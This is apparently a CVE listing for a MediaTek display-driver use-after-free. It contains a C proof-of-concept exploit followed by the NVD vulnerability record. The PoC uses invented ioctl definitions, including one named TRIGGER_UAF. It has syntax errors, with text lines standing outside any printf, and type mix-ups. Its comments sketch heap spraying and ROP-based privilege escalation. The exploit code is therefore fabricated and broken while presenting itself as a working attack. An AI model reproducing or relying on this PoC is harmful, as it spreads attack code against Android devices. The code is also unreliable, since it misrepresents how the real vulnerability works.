CVE-2025-20773

// CVE-2025-20773 PoC - MediaTek Display Component Use After Free // Note: This PoC requires elevated privileges and is for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> // MediaTek display driver IOCTL definitions #define MTK_DISP_IOCTL_MAGIC 'D' #define MTK_DISP_IOCTL_ALLOCATE_BUFFER _IOW(MTK_DISP_IOCTL_MAGIC, 0, int) #define MTK_DISP_IOCTL_FREE_BUFFER _IOW(MTK_DISP_IOCTL_MAGIC, 1, int) #define MTK_DISP_IOCTL_TRIGGER_UAF _IOW(MTK_DISP_IOCTL_MAGIC, 2, int) // Vulnerable buffer structure struct mtk_disp_buffer { unsigned int size; unsigned long user_addr; unsigned long kernel_addr; }; int main(int argc, char *argv[]) { int fd; struct mtk_disp_buffer buf; int buffer_id; printf("[*] CVE-2025-20773 MediaTek Display Use After Free PoC\n"); printf("[*] Requires: Elevated privileges (root)\n\n"); // Open MediaTek display device fd = open("/dev/mtk_disp", O_RDWR); if (fd < 0) { // Try alternative device path fd = open("/dev/graphics/fb0", O_RDWR); if (fd < 0) { printf("[-] Failed to open display device\n"); printf("[-] This PoC requires a vulnerable MediaTek device\n"); return -1; } } printf("[+] Display device opened successfully\n"); // Step 1: Allocate buffer through vulnerable driver buf.size = 0x1000; buf.user_addr = (unsigned long)malloc(buf.size); if (ioctl(fd, MTK_DISP_IOCTL_ALLOCATE_BUFFER, &buf) < 0) { printf("[-] Buffer allocation failed\n"); close(fd); return -1; } buffer_id = buf.kernel_addr; printf("[+] Buffer allocated with ID: 0x%lx\n", buffer_id); // Step 2: Free the buffer (triggering the free operation) if (ioctl(fd, MTK_DISP_IOCTL_FREE_BUFFER, buffer_id) < 0) { printf("[-] Buffer free failed\n"); close(fd); return -1; } printf("[+] Buffer freed (UAF condition now active)\n"); // Step 3: Reallocate or manipulate freed memory // In real exploitation, this would involve spraying heap with controlled data printf("[*] Attempting to reclaim freed memory...\n"); printf("[*] In real attack: Spray heap with crafted data\n"); printf("[*] In real attack: Trigger use-after-free to gain code execution\n"); // Step 4: Trigger the use-after-free condition if (ioctl(fd, MTK_DISP_IOCTL_TRIGGER_UAF, buffer_id) < 0) { printf("[-] UAF trigger failed (expected in PoC)\n"); } printf("\n[!] Note: Full exploitation requires:\n"); printf(" - Kernel debugging symbols\n"); - ROP chain for privilege escalation - Specific kernel version and configuration close(fd); return 0; } /* * Mitigation: * - Apply MediaTek security patch ALPS10196993 * - Keep system updated with latest security patches * - Monitor for unusual display driver behavior */

{"cve": {"id": "CVE-2025-20773", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:18.917", "lastModified": "2026-01-12T09:15:51.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In display, there is a possible memory corruption due to use after free. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10196993; Issue ID: MSV-4797."}, {"lang": "es", "value": "En la pantalla, hay una posible corrupción de memoria debido a un uso después de liberar. Esto podría llevar a una escalada local de privilegios si un actor malintencionado ya ha obtenido los privilegios del Sistema. No se necesita interacción del usuario para la explotación. ID del parche: ALPS10196993; ID del problema: MSV-4797."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2718:-:*:*:*:*:*:*:*", "matchCriteriaId": "F5506327-7DDF-4E88-9EA8-10B8E32F848B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F763AB"}, {"vulnerable": false, ... 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